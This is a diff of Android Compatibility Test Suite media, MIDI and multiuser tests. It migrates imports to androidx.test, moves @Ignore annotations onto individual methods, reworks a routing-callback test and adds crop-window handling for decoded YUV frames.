--- a/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
@@ -24,17 +24,18 @@
 import android.media.MediaController2.ControllerCallback;
 import android.media.MediaItem2;
 import android.media.MediaMetadata2;
-import android.media.SessionCommand2;
 import android.media.MediaSession2.CommandButton;
+import android.media.SessionCommand2;
 import android.media.SessionCommandGroup2;
 import android.media.SessionToken2;
 import android.os.Bundle;
 import android.os.HandlerThread;
 import android.os.ResultReceiver;
+
 import androidx.annotation.CallSuper;
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
+import androidx.test.InstrumentationRegistry;
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
index 6b08fb3..5e69ff5 100644
--- a/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
@@ -16,28 +16,28 @@
 
 package android.media.cts;
 
-import static android.media.SessionCommand2.COMMAND_CODE_SESSION_FAST_FORWARD;
+import static android.media.MediaSession2.ControllerInfo;
 import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE;
 import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY;
-import static android.media.SessionCommand2.COMMAND_CODE_SESSION_REWIND;
 import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_SEEK_TO;
-import static android.media.SessionCommand2.COMMAND_CODE_SET_VOLUME;
-import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM;
-import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM;
 import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_STOP;
 import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_ADD_ITEM;
 import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REMOVE_ITEM;
 import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REPLACE_ITEM;
 import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST;
 import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST_METADATA;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM;
 import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_FAST_FORWARD;
 import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID;
 import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_SEARCH;
 import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_URI;
 import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID;
 import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH;
 import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_URI;
-import static android.media.MediaSession2.ControllerInfo;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_REWIND;
+import static android.media.SessionCommand2.COMMAND_CODE_SET_VOLUME;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -56,8 +56,9 @@
 import android.os.Bundle;
 import android.os.Process;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
@@ -74,7 +75,6 @@
  */
 @RunWith(AndroidJUnit4.class)
 @MediumTest
-@Ignore
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaSession2_PermissionTest extends MediaSession2TestBase {
     private static final String SESSION_ID = "MediaSession2Test_permission";
@@ -151,6 +151,7 @@
     }
 
     @Test
+    @Ignore
     public void testPlay() throws InterruptedException {
         testOnCommandRequest(COMMAND_CODE_PLAYBACK_PLAY, (controller) -> {
             controller.play();
@@ -158,6 +159,7 @@
     }
 
     @Test
+    @Ignore
     public void testPause() throws InterruptedException {
         testOnCommandRequest(COMMAND_CODE_PLAYBACK_PAUSE, (controller) -> {
             controller.pause();
@@ -165,6 +167,7 @@
     }
 
     @Test
+    @Ignore
     public void testStop() throws InterruptedException {
         testOnCommandRequest(COMMAND_CODE_PLAYBACK_STOP, (controller) -> {
             controller.stop();
@@ -172,6 +175,7 @@
     }
 
     @Test
+    @Ignore
     public void testFastForward() throws InterruptedException {
         testOnCommandRequest(COMMAND_CODE_SESSION_FAST_FORWARD, (controller) -> {
             controller.fastForward();
@@ -179,6 +183,7 @@
     }
 
     @Test
+    @Ignore
     public void testRewind() throws InterruptedException {
         testOnCommandRequest(COMMAND_CODE_SESSION_REWIND, (controller) -> {
             controller.rewind();
@@ -186,6 +191,7 @@
     }
 
     @Test
+    @Ignore
     public void testSeekTo() throws InterruptedException {
         final long position = 10;
         testOnCommandRequest(COMMAND_CODE_PLAYBACK_SEEK_TO, (controller) -> {
@@ -194,6 +200,7 @@
     }
 
     @Test
+    @Ignore
     public void testSkipToNext() throws InterruptedException {
         testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM, (controller) -> {
             controller.skipToNextItem();
@@ -201,6 +208,7 @@
     }
 
     @Test
+    @Ignore
     public void testSkipToPrevious() throws InterruptedException {
         testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM, (controller) -> {
             controller.skipToPreviousItem();
@@ -208,6 +216,7 @@
     }
 
     @Test
+    @Ignore
     public void testSkipToPlaylistItem() throws InterruptedException {
         MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
         testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM, (controller) -> {
@@ -216,6 +225,7 @@
     }
 
     @Test
+    @Ignore
     public void testSetPlaylist() throws InterruptedException {
         List<MediaItem2> list = TestUtils.createPlaylist(2);
         testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST, (controller) -> {
@@ -224,6 +234,7 @@
     }
 
     @Test
+    @Ignore
     public void testUpdatePlaylistMetadata() throws InterruptedException {
         testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST_METADATA, (controller) -> {
             controller.updatePlaylistMetadata(null);
@@ -231,6 +242,7 @@
     }
 
     @Test
+    @Ignore
     public void testAddPlaylistItem() throws InterruptedException {
         MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
         testOnCommandRequest(COMMAND_CODE_PLAYLIST_ADD_ITEM, (controller) -> {
@@ -239,6 +251,7 @@
     }
 
     @Test
+    @Ignore
     public void testRemovePlaylistItem() throws InterruptedException {
         MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
         testOnCommandRequest(COMMAND_CODE_PLAYLIST_REMOVE_ITEM, (controller) -> {
@@ -247,6 +260,7 @@
     }
 
     @Test
+    @Ignore
     public void testReplacePlaylistItem() throws InterruptedException {
         MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
         testOnCommandRequest(COMMAND_CODE_PLAYLIST_REPLACE_ITEM, (controller) -> {
@@ -255,6 +269,7 @@
     }
 
     @Test
+    @Ignore
     public void testSetVolume() throws InterruptedException {
         testOnCommandRequest(COMMAND_CODE_SET_VOLUME, (controller) -> {
             controller.setVolumeTo(0, 0);
@@ -262,6 +277,7 @@
     }
 
     @Test
+    @Ignore
     public void testPlayFromMediaId() throws InterruptedException {
         final String mediaId = "testPlayFromMediaId";
         createSessionWithAllowedActions(
@@ -281,6 +297,7 @@
     }
 
     @Test
+    @Ignore
     public void testPlayFromUri() throws InterruptedException {
         final Uri uri = Uri.parse("play://from.uri");
         createSessionWithAllowedActions(
@@ -300,6 +317,7 @@
     }
 
     @Test
+    @Ignore
     public void testPlayFromSearch() throws InterruptedException {
         final String query = "testPlayFromSearch";
         createSessionWithAllowedActions(
@@ -319,6 +337,7 @@
     }
 
     @Test
+    @Ignore
     public void testPrepareFromMediaId() throws InterruptedException {
         final String mediaId = "testPrepareFromMediaId";
         createSessionWithAllowedActions(
@@ -338,6 +357,7 @@
     }
 
     @Test
+    @Ignore
     public void testPrepareFromUri() throws InterruptedException {
         final Uri uri = Uri.parse("prepare://from.uri");
         createSessionWithAllowedActions(
@@ -357,6 +377,7 @@
     }
 
     @Test
+    @Ignore
     public void testPrepareFromSearch() throws InterruptedException {
         final String query = "testPrepareFromSearch";
         createSessionWithAllowedActions(
@@ -376,6 +397,7 @@
     }
 
     @Test
+    @Ignore
     public void testChangingPermissionWithSetAllowedCommands() throws InterruptedException {
         final String query = "testChangingPermissionWithSetAllowedCommands";
         createSessionWithAllowedActions(
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index 1d77473..926abd8 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -226,6 +226,11 @@
             session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
                     | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
             session.setCallback(callback, handler);
+            PlaybackState state = new PlaybackState.Builder()
+                    .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
+            // Fake the media session service so this session can take the media key events.
+            session.setPlaybackState(state);
+            session.setActive(true);
 
             // A media playback is also needed to receive media key events.
             Utils.assertMediaPlaybackStarted(context);
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
index 1a3cb7c..ce9d0a6 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
@@ -34,8 +34,9 @@
 import android.media.session.MediaSessionManager;
 import android.media.session.MediaSessionManager.OnSessionTokensChangedListener;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
@@ -53,7 +54,6 @@
  */
 @RunWith(AndroidJUnit4.class)
 @SmallTest
-@Ignore
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaSessionManager_MediaSession2Test extends MediaSession2TestBase {
     private static final String TAG = "MediaSessionManager_MediaSession2Test";
@@ -119,6 +119,7 @@
      * @throws InterruptedException
      */
     @Test
+    @Ignore
     public void testGetSessionTokens_sessionRejected() throws InterruptedException {
         mSession.close();
         mSession = new MediaSession2.Builder(mContext).setPlayer(new MockPlayer(0))
@@ -146,6 +147,7 @@
     }
 
     @Test
+    @Ignore
     public void testGetMediaSession2Tokens_sessionClosed() throws InterruptedException {
         mSession.close();
 
@@ -160,6 +162,7 @@
     }
 
     @Test
+    @Ignore
     public void testGetMediaSessionService2Token() throws InterruptedException {
         boolean foundTestSessionService = false;
         boolean foundTestLibraryService = false;
@@ -183,6 +186,7 @@
     }
 
     @Test
+    @Ignore
     public void testGetAllSessionTokens() throws InterruptedException {
         boolean foundTestSession = false;
         boolean foundTestSessionService = false;
@@ -218,6 +222,7 @@
     }
 
     @Test
+    @Ignore
     public void testAddOnSessionTokensChangedListener() throws InterruptedException {
         TokensChangedListener listener = new TokensChangedListener();
         mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
@@ -272,6 +277,7 @@
     }
 
     @Test
+    @Ignore
     public void testRemoveOnSessionTokensChangedListener() throws InterruptedException {
         TokensChangedListener listener = new TokensChangedListener();
         mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
diff --git a/tests/tests/media/src/android/media/cts/ResourceManagerTest.java b/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
index dfe63a9..115701b 100644
--- a/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
@@ -19,9 +19,10 @@
 import android.os.Bundle;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RequiresDevice;
-import android.support.test.filters.SmallTest;
 import android.test.ActivityInstrumentationTestCase2;
 
+import androidx.test.filters.SmallTest;
+
 @SmallTest
 @RequiresDevice
 @AppModeFull(reason = "TODO: evaluate and port to instant")
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index 69e3f5c..e1765d8 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -71,9 +71,12 @@
     private static final Set<Integer> AVAILABLE_INPUT_DEVICES_TYPE = new HashSet<>(
         Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
 
+    private boolean mRoutingChanged;
     private AudioManager mAudioManager;
     private CountDownLatch mRoutingChangedLatch;
     private File mOutFile;
+    private Looper mRoutingChangedLooper;
+    private Object mRoutingChangedLock = new Object();
 
     @Override
     protected void setUp() throws Exception {
@@ -556,6 +559,10 @@
             if (mRoutingChangedLatch != null) {
                 mRoutingChangedLatch.countDown();
             }
+            synchronized (mRoutingChangedLock) {
+                mRoutingChanged = true;
+                mRoutingChangedLock.notify();
+            }
         }
     }
 
@@ -563,7 +570,7 @@
         final int resid = R.raw.testmp3_2;
         MediaPlayer mediaPlayer = MediaPlayer.create(mContext, resid);
         mediaPlayer.setAudioAttributes(
-            new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA).build());
+                new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA).build());
         mediaPlayer.start();
         return mediaPlayer;
     }
@@ -653,47 +660,41 @@
         }
     }
 
-    public void test_MediaPlayer_RoutingChangedCallback() {
+    public void test_MediaPlayer_RoutingChangedCallback() throws Exception {
         if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
             // Can't do it so skip this test
             return;
         }
 
-        MediaPlayer mediaPlayer = allocMediaPlayer();
-        AudioRoutingListener listener = new AudioRoutingListener();
-        mediaPlayer.addOnRoutingChangedListener(listener, null);
-
-        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
-        if (deviceList.length < 2) {
-            // The available output device is less than 2, we can't switch output device.
-            return;
-        }
-        for (int index = 0; index < deviceList.length; index++) {
-            assertTrue(mediaPlayer.setPreferredDevice(deviceList[index]));
-            boolean routingChanged = false;
-            for (int i = 0; i < MAX_WAITING_ROUTING_CHANGED_COUNT; i++) {
-                // Create a new CountDownLatch in case it is triggered by previous routing change.
-                mRoutingChangedLatch = new CountDownLatch(1);
-                try {
-                    mRoutingChangedLatch.await(WAIT_ROUTING_CHANGE_TIME_MS, TimeUnit.MILLISECONDS);
-                } catch (InterruptedException e) {
-                }
-                AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
-                if (routedDevice == null) {
-                    continue;
-                }
-                if (routedDevice.getId() == deviceList[index].getId()) {
-                    routingChanged = true;
-                    break;
-                }
+        mRoutingChanged = false;
+        mRoutingChangedLooper = null;
+        // Create MediaPlayer in another thread to make sure there is a looper active for events.
+        Thread t = new Thread() {
+            @Override
+            public void run() {
+                Looper.prepare();
+                // Keep looper to terminate when the test is finished.
+                mRoutingChangedLooper = Looper.myLooper();
+                AudioRoutingListener listener = new AudioRoutingListener();
+                MediaPlayer mediaPlayer = allocMediaPlayer();
+                mediaPlayer.addOnRoutingChangedListener(listener, null);
+                Looper.loop();
+                mediaPlayer.removeOnRoutingChangedListener(listener);
+                mediaPlayer.stop();
+                mediaPlayer.release();
             }
-            assertTrue("Switching to device" + deviceList[index].getType() + " failed",
-                    routingChanged);
+        };
+        t.start();
+        synchronized (mRoutingChangedLock) {
+            mRoutingChangedLock.wait(WAIT_ROUTING_CHANGE_TIME_MS
+                    * MAX_WAITING_ROUTING_CHANGED_COUNT);
         }
-
-        mediaPlayer.removeOnRoutingChangedListener(listener);
-        mediaPlayer.stop();
-        mediaPlayer.release();
+        if (mRoutingChangedLooper != null) {
+            mRoutingChangedLooper.quitSafely();
+            mRoutingChangedLooper = null;
+        }
+        t.join();
+        assertTrue("Routing changed callback has not been called", mRoutingChanged);
     }
 
     public void test_mediaPlayer_incallMusicRoutingPermissions() {
diff --git a/tests/tests/media/src/android/media/cts/SessionToken2Test.java b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
index 33f416d..808fa82 100644
--- a/tests/tests/media/src/android/media/cts/SessionToken2Test.java
+++ b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
@@ -16,15 +16,16 @@
 
 package android.media.cts;
 
-import static junit.framework.Assert.assertEquals;
+import static org.junit.Assert.assertEquals;
 
 import android.content.Context;
 import android.media.SessionToken2;
 import android.os.Process;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Ignore;
@@ -36,7 +37,6 @@
  */
 @RunWith(AndroidJUnit4.class)
 @SmallTest
-@Ignore
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class SessionToken2Test {
     private Context mContext;
@@ -47,6 +47,7 @@
     }
 
     @Test
+    @Ignore
     public void testConstructor_sessionService() {
         SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
                 MockMediaSessionService2.class.getCanonicalName());
@@ -57,6 +58,7 @@
     }
 
     @Test
+    @Ignore
     public void testConstructor_libraryService() {
         SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
                 MockMediaLibraryService2.class.getCanonicalName());
@@ -65,4 +67,4 @@
         assertEquals(Process.myUid(), token.getUid());
         assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
index 98196c8..fac659d 100644
--- a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
+++ b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
@@ -18,8 +18,6 @@
 
 import static org.testng.Assert.assertThrows;
 
-import android.media.cts.R;
-
 import android.app.ActivityManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -29,15 +27,16 @@
 import android.media.AudioTrack;
 import android.media.MediaPlayer;
 import android.media.VolumeShaper;
+import android.media.cts.R;
 import android.os.Parcel;
 import android.os.PowerManager;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
 import android.util.Log;
 
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
 import java.lang.AutoCloseable;
diff --git a/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java b/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
index 20c9d3a..48faf49 100644
--- a/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
+++ b/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
@@ -367,24 +367,27 @@
 
     /**
      * Packs YUV420 frame by moving it to a smaller size buffer with stride and slice
-     * height equal to the original frame width and height.
+     * height equal to the crop window.
      */
-    private static byte[] PackYUV420(int width, int height,
+    private static byte[] PackYUV420(int left, int top, int width, int height,
             int stride, int sliceHeight, byte[] src) {
         byte[] dst = new byte[width * height * 3 / 2];
         // Y copy.
         for (int i = 0; i < height; i++) {
-            System.arraycopy(src, i * stride, dst, i * width, width);
+            System.arraycopy(src, (i + top) * stride + left, dst, i * width, width);
         }
         // U and V copy.
         int u_src_offset = stride * sliceHeight;
         int v_src_offset = u_src_offset + u_src_offset / 4;
         int u_dst_offset = width * height;
         int v_dst_offset = u_dst_offset + u_dst_offset / 4;
+        // Downsample and align to floor-2 for crop origin.
+        left /= 2;
+        top /= 2;
         for (int i = 0; i < height / 2; i++) {
-            System.arraycopy(src, u_src_offset + i * (stride / 2),
+            System.arraycopy(src, u_src_offset + (i + top) * (stride / 2) + left,
                     dst, u_dst_offset + i * (width / 2), width / 2);
-            System.arraycopy(src, v_src_offset + i * (stride / 2),
+            System.arraycopy(src, v_src_offset + (i + top) * (stride / 2) + left,
                     dst, v_dst_offset + i * (width / 2), width / 2);
         }
         return dst;
@@ -532,6 +535,10 @@
         int frameCount = ivf.getFrameCount();
         int frameStride = frameWidth;
         int frameSliceHeight = frameHeight;
+        int cropLeft = 0;
+        int cropTop = 0;
+        int cropWidth = frameWidth;
+        int cropHeight = frameHeight;
         assertTrue(frameWidth > 0);
         assertTrue(frameHeight > 0);
         assertTrue(frameCount > 0);
@@ -634,6 +641,28 @@
                             " x " + frameSliceHeight);
                     frameStride = Math.max(frameWidth, frameStride);
                     frameSliceHeight = Math.max(frameHeight, frameSliceHeight);
+
+                    // Parse crop window for the area of recording decoded frame data.
+                    if (format.containsKey("crop-left")) {
+                        cropLeft = format.getInteger("crop-left");
+                    }
+                    if (format.containsKey("crop-top")) {
+                        cropTop = format.getInteger("crop-top");
+                    }
+                    if (format.containsKey("crop-right")) {
+                        cropWidth = format.getInteger("crop-right") - cropLeft + 1;
+                    } else {
+                        cropWidth = frameWidth;
+                    }
+                    if (format.containsKey("crop-bottom")) {
+                        cropHeight = format.getInteger("crop-bottom") - cropTop + 1;
+                    } else {
+                        cropHeight = frameHeight;
+                    }
+                    Log.d(TAG, "Frame crop window origin: " + cropLeft + " x " + cropTop
+                            + ", size: " + cropWidth + " x " + cropHeight);
+                    cropWidth = Math.min(frameWidth - cropLeft, cropWidth);
+                    cropHeight = Math.min(frameHeight - cropTop, cropHeight);
                 }
                 result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
             }
@@ -660,11 +689,11 @@
                             frame = NV12ToYUV420(frameWidth, frameHeight,
                                     frameStride, frameSliceHeight, frame);
                         }
-                        int writeLength = Math.min(frameWidth * frameHeight * 3 / 2, frame.length);
+                        int writeLength = Math.min(cropWidth * cropHeight * 3 / 2, frame.length);
                         // Pack frame if necessary.
                         if (writeLength < frame.length &&
-                                (frameStride > frameWidth || frameSliceHeight > frameHeight)) {
-                            frame = PackYUV420(frameWidth, frameHeight,
+                                (frameStride > cropWidth || frameSliceHeight > cropHeight)) {
+                            frame = PackYUV420(cropLeft, cropTop, cropWidth, cropHeight,
                                     frameStride, frameSliceHeight, frame);
                         }
                         yuv.write(frame, 0, writeLength);
diff --git a/tests/tests/mediastress/Android.mk b/tests/tests/mediastress/Android.mk
index 633708f..a1f24eb 100644
--- a/tests/tests/mediastress/Android.mk
+++ b/tests/tests/mediastress/Android.mk
@@ -26,7 +26,7 @@
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/mediastress/AndroidManifest.xml b/tests/tests/mediastress/AndroidManifest.xml
index e4ab36c..aae1abd 100644
--- a/tests/tests/mediastress/AndroidManifest.xml
+++ b/tests/tests/mediastress/AndroidManifest.xml
@@ -39,7 +39,7 @@
         <activity android:name="android.mediastress.cts.NativeMediaActivity"
                   android:label="NativeMedia" />
     </application>
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.mediastress.cts"
             android:label="Media stress tests InstrumentationRunner" >
         <meta-data android:name="listener"
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/WorkDir.java b/tests/tests/mediastress/src/android/mediastress/cts/WorkDir.java
index 2af3c6b..f7d0349 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/WorkDir.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/WorkDir.java
@@ -18,12 +18,13 @@
 
 import android.os.Bundle;
 import android.os.Environment;
-import android.support.test.InstrumentationRegistry;
 
-import java.io.File;
+import androidx.test.InstrumentationRegistry;
 
 import junit.framework.Assert;
 
+import java.io.File;
+
 public class WorkDir {
 
     private static final String MEDIA_PATH_INSTR_ARG_KEY = "media-path";
diff --git a/tests/tests/midi/Android.mk b/tests/tests/midi/Android.mk
index 212c8ac..21cda85 100755
--- a/tests/tests/midi/Android.mk
+++ b/tests/tests/midi/Android.mk
@@ -25,7 +25,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/midi/AndroidManifest.xml b/tests/tests/midi/AndroidManifest.xml
index 971f4fb..f9db178 100755
--- a/tests/tests/midi/AndroidManifest.xml
+++ b/tests/tests/midi/AndroidManifest.xml
@@ -37,7 +37,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS MIDI tests"
         android:targetPackage="android.midi.cts" >
         <meta-data
diff --git a/tests/tests/midi/AndroidTest.xml b/tests/tests/midi/AndroidTest.xml
index d8d12e2..23c305e 100644
--- a/tests/tests/midi/AndroidTest.xml
+++ b/tests/tests/midi/AndroidTest.xml
@@ -16,6 +16,9 @@
 <configuration description="Config for CTS MIDI test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="media" />
+    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
+        <option name="user-type" value="system" />
+    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMidiTestCases.apk" />
diff --git a/tests/tests/multiuser/Android.mk b/tests/tests/multiuser/Android.mk
index 45a1003..dfbdf1d 100644
--- a/tests/tests/multiuser/Android.mk
+++ b/tests/tests/multiuser/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_PACKAGE_NAME := CtsMultiUserTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/multiuser/AndroidManifest.xml b/tests/tests/multiuser/AndroidManifest.xml
index cacadfb..fc6f3d9 100644
--- a/tests/tests/multiuser/AndroidManifest.xml
+++ b/tests/tests/multiuser/AndroidManifest.xml
@@ -24,7 +24,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.multiuser.cts"
                      android:label="Multiuser tests"/>
 </manifest>
\ No newline at end of file
diff --git a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
index 3e9122b..45fd6d8 100644
--- a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
+++ b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
@@ -20,27 +20,20 @@
 
 import android.os.UserManager;
 import android.test.InstrumentationTestCase;
-import android.util.Log;
 
 public class SplitSystemUserTest extends InstrumentationTestCase {
 
-    private static final String TAG = SplitSystemUserTest.class.getSimpleName();
-
     public void testSplitSystemUserIsDisabled() throws Exception {
-        // Verify that am get-current-user and UserManager.isSystemUser both return 0
-        String curUser = SystemUtil.runShellCommand(getInstrumentation(), "am get-current-user");
-        Log.i(TAG, "am get-current-user: " + curUser);
-        assertEquals("Test must be running under user 0", "0", trim(curUser));
-        UserManager um = getInstrumentation().getContext().getSystemService(UserManager.class);
-        assertTrue("Test must be running under system user", um.isSystemUser());
-
-        // Check that ro.fw.system_user_split property is not set
+        // Check that ro.fw.system_user_split property is not set.
         String splitEnabledStr = trim(SystemUtil.runShellCommand(getInstrumentation(),
                 "getprop ro.fw.system_user_split"));
         boolean splitEnabled = "y".equals(splitEnabledStr) || "yes".equals(splitEnabledStr)
                 || "1".equals(splitEnabledStr) || "true".equals(splitEnabledStr)
                 || "on".equals(splitEnabledStr);
         assertFalse("ro.fw.system_user_split must not be enabled", splitEnabled);
+
+        // Check UserManager.isSplitSystemUser returns false as well.
+        assertFalse("UserManager.isSplitSystemUser must be false", UserManager.isSplitSystemUser());
     }
 
     private static String trim(String s) {
diff --git a/tests/tests/nativehardware/Android.mk b/tests/tests/nativehardware/Android.mk
index 7824123..ce658d3 100644
--- a/tests/tests/nativehardware/Android.mk
+++ b/tests/tests/nativehardware/Android.mk
